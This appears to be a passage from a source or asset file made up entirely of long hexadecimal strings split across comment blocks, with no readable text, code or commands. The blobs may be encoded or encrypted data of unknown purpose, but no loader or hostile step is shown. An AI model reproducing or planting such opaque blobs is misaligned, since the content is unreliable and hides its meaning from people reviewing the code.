e8c49455eb3225ca4df408b5b9a2bc0d9d2b3324499ede06b56fbf6a2bd955bd9fc0d2b42d81a0cef5fa0283f78d9888a8a4c94d79f03dcf2aac949a0babb29b63bbff7277aa51b9ee01fb06fa1bd4eb252d609d94d95d3b48c00c65082e413112140e31eb4aa8eaf70fa8767ae15bc6d7c83b00ade6c06ba0b6b50c2c880862867d0b13857678b5ab3508ef7201f61c2060bc2d792a9e3b65a8ac4f9dc99b400d08cdd1d18ab5aa0f60b4da422aa330e8fa9ed65815e6ec24f54162013817691a4857764ca6d694c299adfe98c0238bc838c4e6bd1c217fcff5737e354319724e15fccbe01ebaf001b46f5e96ab907df6dfe94e36f03323d8e867596ba33025194b810787d26a4f7dda21d9027fe74512f312c8d666fa6b5feb293442b74f0b31e279aad2504e7a381eeb92a09ba5602752b9310f7bca1d29f5bee39505cea35f153cbe181158ef0ea5e64cd786d579fe90b3d1d02c9aaaab839b8122a2be40908697b0755397f8cadc7b0dc4bd554f0e43d34c3545ff72be62f0bff67b4d8bc30575eb8e46600bb0c34d1d9cb1c461395249795457705e65bb137be205498e55b6ca4c9d302974f56a047a5c8f27699ebffa61b4ab32a175e09d05371b95e646491aeebe63c0b4ca0f8937769079187cdc1f87a6a0ac5693e9f5b34b6230eef2efaf2d0609722f08851f35bb9d084e9970575dd321da752f28f02112e757c5ce66b15ddd1341eb624b4138a8eb26f9a6d491816e2034ceb4a37d3cfabccb3b0b6253a8e2cd763c7a82494ccc75fa4c12069c41cadf92ff793b799d80f9d9dae7182e8517954a0effbdbbfaa17e7d2ca57450a04e843893489fd6838a3641d5905752b1cddce30b6190b3893e186acc71979176da2fc0d2f51bb346dcaf65a8a301a87214482b6fab7f110bbfbae6932091f17c39307d1bb5fd758c71eb98df8142b1198887e0bb9484555c8b806971f21d0e343bf584d658039c9d10bcc6a4bd83a389f4bce6d1b4822b6e207dd5c894206b6c09b7a5f881009fb5e4fe106c6ac834cf4d580534f470a11ef80dc74b9012c615722ce8615cd937a36e243ff518694ae0e5a4c3cfda483241288cbce348df5ea025ba86776aca8ddcceab3894e489d670baecc75d160fa7c8757b56b937c45bf6e8a7a0985f1ee8091024ebf844b55909843e7f611ba4efc76ea9a662d991fe0873fbde02fdd473fd59c3fd2afea4daaa76b0cde7a44e8791baba9a3a43e78b43966105302e7047ca3775e9090026b085f4435ab048426754fca5203e5fa399a2ed1a3e2e3e55a7d2080db46143b4ad8f1aa842f82c7a90b55e42197af935b97dccc530af58c982e87869b8fb758e8b4af79dd320aa2c0ca621ea42a4189cb7ca4367a9fa914f88e28cbfe69b0ff5cad15126db1b88de7f56d30987dd1633ccff1ea3357c49c4872ea03913fad310097511264ac5dcb68d4a47ed287055818b377e014297ed255b2936e8f2babb9cd917167f66f62bf47ffd49850a47d505575e20ebd81fa2c2fda4a9542ec2379f59b3bfe658d8ca2bed93736e970dd159ac96d606fcf9062d266fd8108524715576c734175efe27d71469ce60d43539de16f9d216fa7c05c72e956e45b16789f450af3317d8cd7a440c0588227b3bfefeced11a7eeb4511fc2ca9262a2af7e606b82b8ef59fe5ca509c1568de6652964cb46c7c454ddc31e13421c9e16720d043e5393a706ea5d47895a9f75f093c3191b3c38777f7317bf8a99f2f75340973065ab5d4e0cd64eb7e214fffe7247a2543647cf951b0d65987daae7fbc030686e4dfa5759f523940b95b2ae8afa0c222efbcfe2e10879cad37bc51fe7c3423cfdd709c23dde7537b9938d2568b9b91368aa8972158d24d6a0afc6a346b33d0143641c6ecd1d3a37a6697cd860ab2e57500173ac359466299e8cc0afa*/
/*e03d2479ed6499c827eff1afef2a93e72f3790ed42a569ac33ac6b073666bfceb394e8b79fe7293e544eb917e8837b169b8c7777bd9b87c483ba29b196d7c9e68324268603e22fb16109dec84bf8c50da016c0fb632824e289c95903778459148528111ba3b619615cff4e7501af607c5f98601ed67d3a40deffe232e24e3c1868c06379319c7c63cc3a6263554ff7b14dbe9f0adb1917fc0fbb28fa2e700ce77d4a1c99031ba8770fffa31813198b82d4b3ff3e01f5f993a3f91f3c8cc668047764fa8a783d3098053c6ad7d475f243bc96b580c78e06bd75dccd0338e4649307629dd3acbb71387d5a206e77ce1217092ae68b9a75d61065596de052db66a3fcc1b8febef74fb3b7bb91170aa3334bf0ca80dad1b4d0d444e41c772564bb50f87fd6e72bddac1b7fe2b7b27a1ba147fc16825e9b410b88bb22247f030b799f887106bb790cd621918f33b7f0318012664f52b664facd0057bee25b429edec5ea5b877d54e31d0125acb8a5a9c549f9f4a25884fa02ed9c1a5f533de3829a6da13e2a31c353285cbc3dcd9030691740ae417b38db543981e010d2792a27523cec3b8998801272c5c05f8e41fe4f723d8e997ea22886b383aee5971e2dd9b0cd27d30d7d078bc0446b465382e285143bf697c5e96dcc5444a4d1f3b736d1b017b8d68ecb1dc86f358031ac646ccc6fe8a1bf9f0128142129287e2646568731d6c2ce84bf31c7b2c157ea75a7e2bc14fa4662c0fa677ee721ade71afdc48caad2a811d1dbacf6f7dead4a9ba3a89b7f0934291c9efe8dd96896a78eba7b7bdc36f2dda01c66e44d4b6c42760157e7b17a1c53dbeeecdcd2a463f5a28824765e728fd72115da9bf4b6abdc8281e4eb4fe03b0bf3c582bd53340b5ac4877ae2afbebbc1884f7b61f1cc33549ce53d85516761cb366ef254137530971784de9b4b0e1260322aa7372d8f831271bbdb89809794b71e36fe57d5e7368f2484cfb27deedba89f59ac6b35ef375c03edf68cd238088fadd22ae0a5bab61f6668b6ae795dbfb9e1b21091a1407a84e7228ecc789b9ad3f62fd5762912c06577790a956e93f1e6ac7515a720ace98489718d79ed2e7ee431010a8021dec0cf6e905443aa73e125c7c6a34a404cd689c23af54ecd1fe9f7195b73e867f7054650df45a11d5eaa3c5806f1f2c7eaf9209097df93231b6eb227a177ec3070cd2265fdda244a5ab144e073abb1b1049baeb753f3e5aff176f9e222cfef3551eef31f0928b433713012f72c351cf808a489f2e69df18bd85d636ed70e6d75e4958c05eb2724c6603c8ea2ab11558566b3216f33d75d1bb87eaf3c195a26cac98e729ea803db006b3491a48a269a62135de858e0d32f481cb3d5f008c7dae9b1f06fa16fa300ba0b3f9f5da1e19f04c9b98d08e3a4fa09bf7757287a5ca1dc461675880baa02f55c905bcd058484891416bc211428834e63744c493599034e2632bbcd1fefd8729e9b9c10a6d0d8953de4a665cf618f4db4f92a3bb81651e5028f72f79f91e664ba448b2b5eed39af824365220192e264c55ba5ae9412f095b6d1b403579a2472e1990fa6936d594713e8b4a64b9379fda2ab802fd022c271d58b03cd794463b03b339fcfe3bd4842236052da69d3785d37b7c75986d8f30039e46518cbddd2d24189870db21f075f04a364eedeed82e2718812af92caf02b5db90e34237c3bdaab92340b1c9bb10355e70360022d4abcdff9e971bb07f122ab09514d0e8598168f72a6616f5a6fde4b51ef3785610bcd373b6c0a4a973168c6de8baff0cd2e02068f14c7fc129ac5ebb6aaa974a2c2b77afb6c82771ffe0266a375b48889019e3b3c4732aed8e78657c67f45efc0c8c4f8b3abff3f6651ea8b68e018216c2e232e46439ffca52212a649fadc6bd41cdcdd3cfa51169b4fe632f9fb462b02d3de9eebf4e365a3d259583427ecdad4bdace464815627bd97b47836b6e9637c68c833222003cc4ef220fd4096a4f602a4e4634ff9374c1698177306dac137348909fddf546a86c563f3eb760020b9120d1db84d3b8a00619c4e47c40e9bdf3cd8445ff72c44015f44ba16478c9d7a42818026870fa3d1ba407305e6d07265ed11d5537beddd49a1f1e313d067a5b1c63a72aa606c76e63d3fc6c6368fae83e2a3f771095747bdb4017e9cc40e20278e3e56c9912a8eab9cb667c04017653cea82b077a9318b3ba34afbf22910490f51419c3add6de49936b6f82de2fc92f2dfc1e14923620b2022b8dd68441ba09519477beb1edf62f338633c546f385d1aa9d202a8e1546d4e54390b7f9da579b177a34f0b18670cf508e336c390ae780dce6499aaf3ed153e8da55e798c617c3281bb9e1d0c7b0c61958355dd315e02cfd04ad1ec21c53faa43690762a75c348254c1db5d6fc394ed12b106d2cdf4db1955b17f87413f5217e3be2b177eb09ac014b79ca46ba194420232746827ddc42babc4630a9ef217357258bf8ac16bfa62df9022ff25c01097d80536d852b9b88b08a92af08556bbaa1820a4f9f445062435ea7eedb431230f17f4bda38bd54c4854a7eb82b9040fd3b57ffe5802fbce3a69579f7379c05cefd7b654c9ef7c1cac47f7d70b63eefab72229bf7ea6ac1dc67ef03a1e9e4e1a197f9e67856892db994c688b452162f5bf75f88d73a8ce6e1534af13f560bc0870a9be64a052bacc6e590fd5c5eb73721d9a8c698a77d587d831c4a9ad35f7a1051e78a49addb53a0106988bc42b932282bc05adfe10d87aad5ac2ca5c224e816bb4e240285ae604684dc6eec4207cb89b586e69c9aa6900b3cd9d3a34*/
/*5a9c0f1a10ff4f3828a9a80247a50584c05dc83c6ac98615a2cbbec13d5900fcfe2f381b7c6b469bf386347208dd8a29cda9eea69ebe33611173e0e3c15f96cd5cf58879d2efabe257ebcdf9cf0c09023f2c25ec4101c11f995f9f0e12a110d7dc8f4445e75f2f3826f6a69c2f6dde1fff92558d00390902cd4415ef69abe743f5a36bc948d92d5220fc60cd37ed89702f502e71240b6dbb540e8e36dbda4f672981e28ff964b60da97ce34c20fdc33cdb51296ef46f6a8c39f003bd12dea64da11c60e702386b8afc1c893a6c02131e20a0aa9f484d036a38d84eb9559d9222dab1a761c3053f537cea5839206901d1cf286dd484b9ed1bbe5ef74d684c6affb96fd6adcaf568f327f58a19262e3f8c078fd911349af11f5c596485b26a75d79bfbf421d3fd37710b0556f530ce9b8214001a00bfadd9f418f8dc43aa30b23e8103f22d68f640020ed7492f9a7c35b8570fbdacd39c8979d738a65334648d33d223ede867f814c53cdccd0442aef435fface257f11e49fe7301bc3faa11b88d04cf387782f7f628e847af572e2ffeae7d7c841e75a01892e003d9943d8354e4aae65db7dcda66b69b7645d8d5d173c4e6e2b4da5bd1b06866c37ce73251b510654ba71a8b13d593751b69c370d7369981850da86d451fe79b614544253bc1cdf63d4b0eb6283ad96f7ebe7850d4c68842f94878b72ec9d92fff5047cfdba5b2f6d65550d5e79e2b929ae2b1de2ba63ec4001b51c6022b2052900bc543843f85f9eea6da25c2e18037453aa6500a3d590103742d4fcc7d67cdb260bbff3bbabbd8e254d5ff6f1ed7890396a7226b6ececfe22f74c323f8e7e339b673c1c548149dd30ff90dec1592d37a3a7243f58d5e300d869fcc9623e7ecade8a0bce89dd83cf0cbc84f16c69469c7a02c5e1951135046572ebbce1eda658866c02d80b8a1e57861878b7ba656a1e138f9de5cf2f99d2ac73e38cfd7976d35cd24aa7db029d271cd03e25cbbd69920de0fd08adce2df67b89893b0c347bc53c2418dac90e1da722b0ccab5c4d892bea7d43887be56056c9b769dd210c4638d202a1dae3f0c99894d490fce74eb33f5f2c4e3b8ba3ba8c8362d36e1e741860571ef138c2797fe480bef0adb58837d1fb4b226528ff8f3868adb2a0e9bc958eab6c7860427de9fd403e14731ac7e4a830a3fa89a01c18b669ec92905c2a57db97b5a178a21bd64701dd42736ba8171e72e58e4ff2d58225d39f6d34bfd796274c69acb4c8033aed190d8a7810feaf0bbd51a231269afde066a34fde62c9f436d339916603c04d2446f00b9c756c6d17c8d676caa84ade5fbe1d80a05c7361173320327afd4aba668f41980c1c0c4adbe717f3c5b7b9885183692ee4e8f8ada2bfd9cdcbadef51c5fa2776ae0392bea30bb7b60840043894c003009642cf3e60722d06a31dfa3a9556e86c919634a266baa423c4bca570408c45857e36f5b0831ea1a37e8e7ff1c8ad5a45ea074d8333a2b59cd80a614f68f09690d55f139608c4ca0aa5abedd44987b7b5ddeaaf0251fbfde86fc9f732d200ea6c031b1a7086d937b6db2d23b21526f340cf52e368d78366ae8a5834d0d7bcd0610c672d615e3b9702eb6282023149a1add5dd1f40222db855d36efcacd814f6a0b692a15f5ac2d5efb9ee790d77ccbb71b1931543775d29125690960e38d32f748422008bd336713950a0a60ab9457445d00e1c452389e0492b8fa2ff9b07c7889da1378a609e036cc5fc1254373d4aa00f542570815cbb73e6d9d7a002b98f52727094a7dab12def1b289f8719716ccfb0810cfc9db63679ed506a73442875b47e1f811175a1f1c4c1e7666a5fd9355afbbdea720ca65a31ed02a0825767caf0ac21dfc0e82e1f828584f42bb35bf194953c79de93fca3ee9c78424e5916d56f1fe5a8f98456a413d092bf9da95614dc3aaf344c1e60769d09a8323d8ab0ad6f2d7482776bf9e670c757acf4adcefb2bf694c223ab8627ae4a725950273606e6b908a4c2f828ea699f32e2c6f285b1bdd41d38911fcba572a2f67475644adbb9778ba29008f47799470cd530832ec54ff46b1c96dd72e63fc5f300e1e6265f5ec0de4514c82f19675de8322344fbd8c65d39fa0f67386b40bf56309293c706c6dc2717c30f37a5e2274e6bb5f19a61bb70d44be4208e763c4222d9aa517de489fd0c3b5481b50121a251d948d5dc01e7432fda0d00dd16e5a710426df59bdc787611ed2176a79db7147a3d374b4d7ba0d21f9e0bc693a1206b6e6b9c800483c3f80be98f89465a0aee03024c3ea4f0fb5d8c0af8f71c8e8dea9921c5d041544fe05abc103fc7283e6199566a09cddf1c0e19625c8e1be9b307529d4c4522d125556376ca70775add8123bb335ac591dc1a5d92688d08b9178e7644d13defd0863a1c97b5a96b7bae706f2d5d51c79c1c1f284f570e073773c33ed06b96d0187a55b71dd508c2283e7fda76e894019c9594b51e79d505f13b17e520c6b1a8893d6023e0cad6a3e4fa125452eadb38694dff3420ed2bf2e92507411216bd05792c324faf10f67581b7456accfc0546a2039b1cbc8c87fe836c4fbf03bca6573532026dfb76c15fec229e4342f4b49f921ab46611639f1f05f6e9bd2a18d1a2da486b7f36dbc39e5c5134495c7e2b87afa8ce569a760c08e4dfa85f971500ca44bfb1b5cb1de46fcdd46b63c71859a12959a46c153b10a176d0c8297810f4ad815cdea5224e19852e68ac30fa1a31eec51528c6b1dac87e303bfdfe2cfd3f90684a142a5483fc8c326991081be4c218e5e7630ee3d9bb61d00b9cc6c68*/
/*ddffad2d093e300af7799efa3645941e623fcffd11c0bad1412d2a6a86929a4a270072e737b737c05e8f230aad61be33c0e52aa6b8f9150ecd76f4b79ff4b1912ca4265d0941ec9d59046ca3f1150a09c32a644e05396ab7548f68a026e7129a9c119e7ce5d3ff7a07ce22df1eba12cb50d8775ab7a647daa96db4f3085cdb13e7598d8c7593a2ed8eb3bc0d8d34adcb34385ba6cb2c589341286bb10b04f20a45e4ee8aafccb86d71b5153a03e349d58b2592c0700f18be0d5f01a7e115d8ddf5f99fa8daa4644ed06c32960c993909358981302ec143b664c42d8de4de88838d4fff1356c89d23360b59eff4dcc9a2eba5948556d99117bcf0d70b7154a7daa92f0588ed780617e3af8d516cb4d84ccc332418acb34439a3ee3a304a73ad5dbd92b114400521bbd1f8bf86d98069cdd4efca0ab2b6fbaa1e6c89906c6226ecbe5d6afaa588fcbedc145275b95f475db62da3d665393a3d21404c9d8e00228d521b72bc1c014952f747675d5840913b2f72af05e40681df5e12e08c1550d703481e2042042dfa8c3b8ceb8095284c70245a0904898e7643604c1046db8781541a39bdaabda99714d6cb43f2e641529b51cabad9d24d9b331c1d3dbb781a356335d5c80cef52e12965d2a799254b684565a1c4aaf5f33a3ad44e783f7877253e4ab7870146ac1b6d2c8e9844c1c39d4fd29f6b12db57fbbcdf96b6d624d85e6bdae27d9eaeb6c01aefba94b4d3612c590965acaf479aebd4b15de0a88bd7d78bd1a3a5a07e2b4717cfda8cc4982d2013913644f4a652988a2f181da275387a7827549549ae6c5ff3584fef36cb18cc01f37116bbeda19ae9d656f77f5f9a2de3666437a4a2b7f5c6f0e106c591073c3b6109ac49c0e3b410ddee5c4cfff0917b47ef11b00c20cb3f5f822ab886050557da81d2c1a1867826749b167c044bec7804febdc0ce1208c2bd539fc3f51d468fada053e2b9670725b18ca7d9d1f46747230ae9bb26301a298e67244ee6ab15c51aa7f1243f5f809b01aaaece91c47dc589ae0166954ffa4f270729946471866792715c8390e295a09952551d8cb5a59cd04d6fd8503e6eb561b82278985b41f7a94b1e18bb02095b960961552fb364d346566b952f8d366996f76c652914196c03def443c5d3a884789fb8e64368b3c712ac4971866f2f310900f6dd95897c2c70d1da4c09c5b567d245ff2143dd9d4b6fd281f79b67b1c1d0efecb709cff97da95c8a93cf62dcda9d54ba2fb65e2a20d23be11ebf06207865da2a93ee33f7ca83a621c84756be6b1c1e25e416eddf1619ec00293a5791ae86cc6f3838512c923f6e8e1308011a317f18d00b6e6f6398e52e6251af9dcd728ad3898ba3a27400c76d5d2429eead43a00ef61b71ebb6c1cd0f1a2b80a518f7b0e78df9ca2c5a3748745e666c08bdc502bf87b75c09dc478dc44da3f764a904d915190e76161d96b3fdc5a2d3a3cea71dc291e76d5ea36b1b4ef72371030b14b3252410abf3cde345d35544bea2c70f14653a6739828dc2e61083c8c3840051c3c585292a5423ab92017818c4e9b56999d36e23aa862e9287cae8b4002d9a05fd0c36b6e4602882fa8b005a241d08a769b78b5a2208681a96e181fb26e7b6b8c47ade7ba9cf8ab9c77602a3c49a97e5f50912c6215c757d2399a2dd3caf2a3fc49fdf9c1dfd38be78f1801de3f7a1ee577d021e789b18633bde280503a7f319df6dea00cfb30e827e36cfc013d87f3ca8df8b8eb30502e32292ac88e882b6508a7a5c15e4c636773efc54362cb371efacb7651ccdc32db5544bdb5d99ac5711aac7fc5bd442f6a039902cdcd0039ecc4a95595ea80a3d4df0644f567a478f106942fdf599b047e212ffaabd847a122ca061b50c2401f1142a3c9da6ce121af830ab50ee56b496d8f329fcaa86306f6959cb750a8deffdb208446489d9193179f9c75857c4118d3a0a9097952b7e83329db953f65f78919f15b8f97f7f7def68ce5e56ff55c20ce34542142915ea99a944dc97079b1f4bbec68a447cccdfc75ccaa5a3ca8ba9f46b207ea0dae5b1e9f3b0e16afee079759442c555f7132dbf5c6b3617e9e54acd56f2e55cb5131e3ba4839ef0d106fea45555b07372d2b2503d6502df95197595dcc2609d25bab98f0aae107c51b6adf577c9497d7b5a8958eb1b914ecd7f11db115003f783ca5b70d533156bb73cd8ae763551e1d316d8c68ec0ad7af17defa7770b00cdfdc26cbdd5731de1b977c888ec7e86ce1980e08c0d7c0e1d7f11822c42acf08a56bd9300ac8abc656e702ca9ec1ef14f43d51abc189f1babdae78015f44642f93fd7269d84888b30232877b21ada934398ee17764f86fcc2b4ded86da362745f33dfa6cf7e4d37399d2c97d95f642615c2c62918dc07aab09fdaeecbbc0dd6cc3fc2fb386bb333d394664206168e817d71ee8cdb2832ce07cc743d37553fcf866a4767c5cef5b04c1127b6b2af5044380b04c1f8dac50e83899c58929f711ed6be00a86bcdcdfe0cb5e197e6a789e35052ff9b39b4fb3836d25697825f28a63f356fbed19817a64b4091774b4ea140535174a46ae73d378ceb9fa7196f5ae547abc211cf253787a00c9739c6ccd0c0291ee8858a56e7d24b5c954800935cdef50fb68ddfc1dd2c70401422c2a039b0fe388529713ecbcf72ca56b20268d565eb7683baba3cf5612337f0bd60b7dddcb83a28ad979363ad60611afae4e1bb872e9ec878e85efe03b8015c0f5da460909ee6c1e598a23c93133b650e86010b2880b9a11fd9a7419cb033aa0c852968424dc4312a19620233e188d765915c*/
/*86ce6be6cb39fe5376747d50bebf6b62d49730235de8591b8b29b7d4fa9bdf02197e1e8168893d1acdea5c9ff1a7f42dc2d5e078acbfdbc177dffb26333fe7b2abca5ff0034f2816b97268209b12e9ca65a967e9d7635a1b6cdf648e0207ec4f632b8bd93c02f214877ff773afbeea5979dcdcb9765e92319981b0f4d4a79f9bd2c230f4403b6fdcc93e8a8e9dbfadb7b41dfefe44f3063d8a5ba00b901c244beda2d9b8c64e3c2b3e7aa71fb59716df1d7380b137e3d8cbbff1a5d681e6430b1924c40d5db3d4e250d25d603132d865a7a4349c7f213520d1761717f1a9b040768ff8982b8fe0b762b3438a069339584abdea1f17c7f0ba34d566e3c5c23c6efd388b02e1854ff07daf884a0673f1e550323848f57a789bccf398ec512ca97f832f5d3f7b5368a7186616350320e1c10d35722d33a25a1be4f5f528fc72802f62fe83e3ef8e62560f26d46349e28ddd05ab9c96d3eb96a72d82a6234f1a513a2b1b5f85bb0250e13ec3c1101a8c3f72681f8a94e58860484fb2540b3376b80b864657877eae6918cf1d4138a7d0c3ec71cabf6b0b71398849667f4ebc9cf53e014fde38880a144e5b754e512538b9f76c89a40d49f43f87dc1a0e7243390235c9563149728d0383250cef444fd9b6f15202be3eb5000a7eeeabb608c632daf781334e793be61c0ab6bb93a26ab5b0005eb273d75f83275435890f73ddbaf248a35226cc1ec2d05e6685fb23dfe9dcf9e079f228b47d387341be9242679f70faf17765536665409232225378d6fd8ebb27b66b2f2920dc157abf80670b0b22874ee18a3fbf0bdffa520fa28b79264c1a727f7405ac125ad4c9220781c9f8cd61bb304464b0c1c69c4f44330320b79c74ef47a45cb0f1a122d97525bf895e133358dbb38f66909fbbd6f89d1188a3a1368a62a6154657821d934f8282d3d978bad885bb5d99a1bc32cd04265329a00ddc840937b269b45e645a861e00dab3e246c703efdd640ad31d0211f47c98a50e34c31d93e632388c55c02e873a92aab93fc6d5bd0a421a0cdb30494a063444eb245ab097d04369341c5a4f3ab2c9ec7bbf188ba0df44c0292f46c772cf7f560203369f0658594628f26f942f1333e8db29245f4d1b86df72ab84e6c9988b5707fe88aa5ee27dab88486efc3343ee0cee6d28963c6da3e8af040080bb202603f195ad11fa4098facc61e5cdebd726f1f7b486f968880b2e686127a95216d1aab1c5309c28e15e4130459729075831ec2c6de987e7627a4522dde18ac6a50584d73ed0cec5fca826753e63ec4f8c71c12e9131500635e291b0a2f857df5db3c6623cf6b0bbcc1e9f87988ea487c5a6fe5bfba0e05acb1827d263187fce62a34b5120475e1701d0240756c4522739b11a3f25736d4f15339514bf9dc6062b264ec1e73c92815752db90fcb5e558b8427d9effd52f4edde56032cf16ee2fcab30ff00c541ff1b4f062c13309d40c529f8dbb75888028cac6085e1eb07c500222509cbbd023800ce11b8f3bfa96b60ad854e64a7bda4901a529bf0c015e4862df89c96c0a37460251579d4ca54d9f327a9d74847143e6383080dcf2dfd740c61a3c7de6c6f709d6436b5c152f4731e9e22bcd1fab33d56ee3485b67d281fad2848055e012ae8c3cb968cc29ff9cd4d2d84b5c3773ab9c2a4d6659c6f0f0effb49aeb45c4126fa12b0933415fe6239b9d832fe033184ccb6f2acc0272ca42406b9395d4b7579f96ffc5bbc039400cfcf9d26d5ce979af5216c5bebf9728742c2cfe380165d516cc3ae3f832c88de3eb913e5006fc57f53b5cf28a48b5db27a63d6a45674de3b931678c66e6de8c2bd2946ced88453081d04fcd3952109d96b2257799ef4e8ce6bbde9985e78aa9ba44f8c2c248a701090d73a1a3f77db28f883c67f96ce72bb0dda2ab6513efc629ee38a9b7a592c6e93c8b39352e8bdb9281773a40a0c4c3a8b6c326e2dad05922e41208d79cbcf46d5a4776597ae79a6d66d6febfb42340e06c3468f34a785dc04b399cb644f6311c2e79b367027bef696c68abbbb060f94d792dde8dd438a051c87ee09aeec115156c2be69488ea8bfbb35975fd811bfc7d961a328362fe0d98385b66d5fa0aeb7159c812fb16ed8366340424a90b7acb76041a673952783288b34059247d99126418232af7012624d65dbb2058eb1e9c9dddaa38d46fc144e1112c642ab3ec4762648ec6d5a6848db94a5136017ad7cda42e9d47c6a3ed2b6b2af3f5e6bd93f5278a31e6752ed3d56ae2c797dd017aa0d12144db99edc5179d2071ef4797f106d4c4a568a4ab7f036159e0bdd19e419b7675e90c1a027d9e1f7c6ae62cf905b836e975c70a9a9aee607aa32fc9fa6f1bbabdd239ea0f08b5f22c9318ef5d0fd936a7b4babc9cf27e63245a0d698783a095edbcbff3d7ca5607e547df609b5c826f6f5d1ac2de9c9efd0b5fbc79a7177bf15bbc67c55bef8f35291099519447e3ae150be9fbfd8537c4b2db154cc5259f68fae518cc302aed9063d92e5fc1d7fbb28944f48f614834a562c51a545c098b4ba6d359e727d07fbd3cd6cd8610c53bcede962285a9f83ec5177fbe857bfa590ea8fb959d7d64cad2b4d84231f4cdff3182efb2ddddc2492add78a28d1331b400714d501e2a14ed57130aa1b822182bd103eb3cdebd3a3f3499591d25b662805eb51805132f5f77c04996a5f963e35077efeaaffcb0a1bedbf5a50dd6de9b606935f7fefc0325108eb801309c618d0ea2080be55b8fa0078b2a12062f3c82e838fac69333a02bd0642843e0aec7cda2b385ac411763b162e48cca095a48c*/
/*f52a1f70fe219c67d5182ddc29642083e64cf6a3a937103bab0711475d55855ca775569354335c323d7d6f5d82984c4c5e66e48a10980aab0df5aa8db7c173488c4e1674e7cb7339090a0e6608bf8e0d3e260ff403903f59ec4a84bc36c2c5654bb34b7ef2582dff8541376ed8759b97a94c64755bbbb19a55343c34c157f14042f981abd27e50518f605c601df4a14604a0efbaa36a02b2285b10057e935cf720d2216c116cce138cbc01d436ff26065f6a79f1814c567d69010385a680424cf40469cb7f87530dc175a37348f61d727e3c5e1b6efdccb8b9aee1dc0e541a9bad12355095ea85880b1259e54488184856270ea91023f385ed298d298aad334a3d39ae77e2d9f7757bf868cdde1f722da27e75aac9537e54ca35a6e214fd91f117637172a8d3a6d02162c86cdfeca20537258b898d3bdb9a3c29f8fc821bc719009bb947310897ca18d51d24011e8c8b7aef139f35173a9651da944215fe3b7000a6d51719a9c9321243a8ef3e23e3d1dd3690703e378e2b5915bc92aee852f64b31fcdbee47f2665bba59ef8522f5288e7267f659df0480a0b7560703fb5b0ed671a96b84fedabc197ef18648e2fdacb7d4564ddc4ef1fdb99828b328553842c88e9f5b185d9c2a1f5cdd52f620040ca0e6ca053a1baafb293f0b3ebccb620858246f9f10b5974f51e12beee7508877604270d50a9b18f34d22c3235a82bc1b2b27697d1a05708ec3965ad5da8af0422cc83162d76619a21011616e91f30a40aa430d8fe9c1b740c1dd2769eefb41335b0ca38ce54fa6f3a8eaf7089016508b43689db443314612fa2dbb4480542b91347eef9b71e2de60e454c0d0adebdbfd8f58d5d1ad5897f6774f5f8f8b691f297627be136554c50b57f26e6976fc5482959047e2174b9f2b5b302ef0a1afb5cc7cc940e89ed9d2a919426eca08f4294dfdf35569f0c4831af7d58d44054b9bea8270c6cc2e6e479f57515817cf0d21cfae16cf017b8920c1ccc8085e54e0c2a0a13113587f148b3f5c1be983ca8d9334859e3cdd4ad5d3ee9b0790dd985b3b1767ab9c82efd57be5b9bf558de4d6a48c1c399310232520bf2dc7451adeff7b6249302bbdc2081b3678c3407c21405bf43eada483b1e1ebc29c8a598664a4c1a7e67946faa77466db1e2f68690dfa571ace57deefe227ae1ec345ff3418fa0f84d97f870ff496706c086c3fe515134061f8b0b56bf00dbf060280f996723e6904e38e1875f8cbd89debd427e77243d5a788474d04c2e164f8de06e9bf919d11e42167fa7ac0601398950a4f36884a9a593787930ebf5bfacc4519af5a283db425e404db9ebe59b1da0d267a54bd1cfc53970e364e2d194aa372bc5e08d753e62d57ae2f903b8965b79f2dcd76e58e359bb165509a349375a36e24f0e71620615de1982b9b6315f0b02abe9979e579e7965366695d992d8a1df52a3dac367a6db2fd0e723f2f4321f89d67b6d64fa7994c9a5d805fed86a812de19ab82ae75d7837fb0b1cf526f4eaa90ad19fb31087732f3a8edf27b99f6813af81e359c952a6ca68e0d6bc2ad254705fbff522572e4a2cf2087288e014a30858038718238ff3eab1ad7b12bcef9fa756871393baf21efde77b2d1663a074ee184165e697aec01f1369f8c563baaddc512eb06d4282d49c34a74266850fba711bc1d7d54586ac87cb13157db65e0dabdaa1ec3e9ec2c37307855eea7d6c0cac2afbe2ab5b7405b7b0d2ccf26026f24fd23753cd793dbd094808a0392aca5fb021a82484d3e6239d55aed540af67056cc55bfcd40e382ac5a4fd0620b95e69bf374fe74897d5b5e9def80f13f71e79c5a518c222353a02dd60f372a6bf236553244e5548c326bedb60067eae32d2c7b03558a0e59ef7de679dce45fb4073b903ae826ac326e992700f2bf99c035a42c12aa5c6256d62fa35ccf6ea3bc9d779c473a2146c1c32a8688308b30e64e8469a81a69c8533c9b5b9452e459af5f4e3fbe2799a7be8b2a75ed3a8f8330b9e3792238811d5dac6e7c73d438930cc9d46d7de8f616e5674c05fc9992f71b65e675039964c1415b41a947daae501953f91ed302c837b766229d43e9f4f72b7a8e5d853092c759473853ec1b234871ce486f9004c7d401622d76e5694adec2f7e494c04ad4b85083134cb2753a15287cdc10a656c5c78c9a33801af12a5ab31a5710623e4eced02b32f2e64ad0e88d4d7cf2642721c17a08c0d776d44bcd570e395caa96789edcd835fd6d164172663d02b19e12bae05dcec2d2c83d613022fda385966c8f6686e4d843fe0c859132160c7f966a0cfc14c7c7d09dd2a84b2025357d5e6a84ba8234566b449e175d5e3e70fc2d57b24ef9a9a54447310a010f64bc7496c8b0f67830789a58e3ccbaabf7805c3d28aa5dbaebfaf30a262983ada00de1f6ccd9b15c98be4fb5d2e5539330e4b97ef77413d5f9fbc90a9f8669d162bf5b1cfa8dfcf0b6fabf4169503df0dc038f46c73753ebcce19251e85853208b3576a30aca7d2aeb48590df55a2fb5b2dc8f88bcaa67e88c18345dd090e866f6cb89d26355a1d6dcc18e9098bb530a036fa8369ac18fb516d66ee4227a5e50ee85801c72b6c6579493b71a7bd428307bd6883230c666db380cc315570ecd623052b164a88748b1eab5295f6a994cd3d1ba652d32ce023805b81ea374d790b337a477098bbe6c0fe6327b2deff4e887c8b0e72da5d4020a847a1c4fb9d3b822170b74130137234fb09aec291d350937d20687d62d0b1956a9f97303fd583add2a5e21c511d567cff6f59680dd643b35e7923a4a038e20d0918391*/
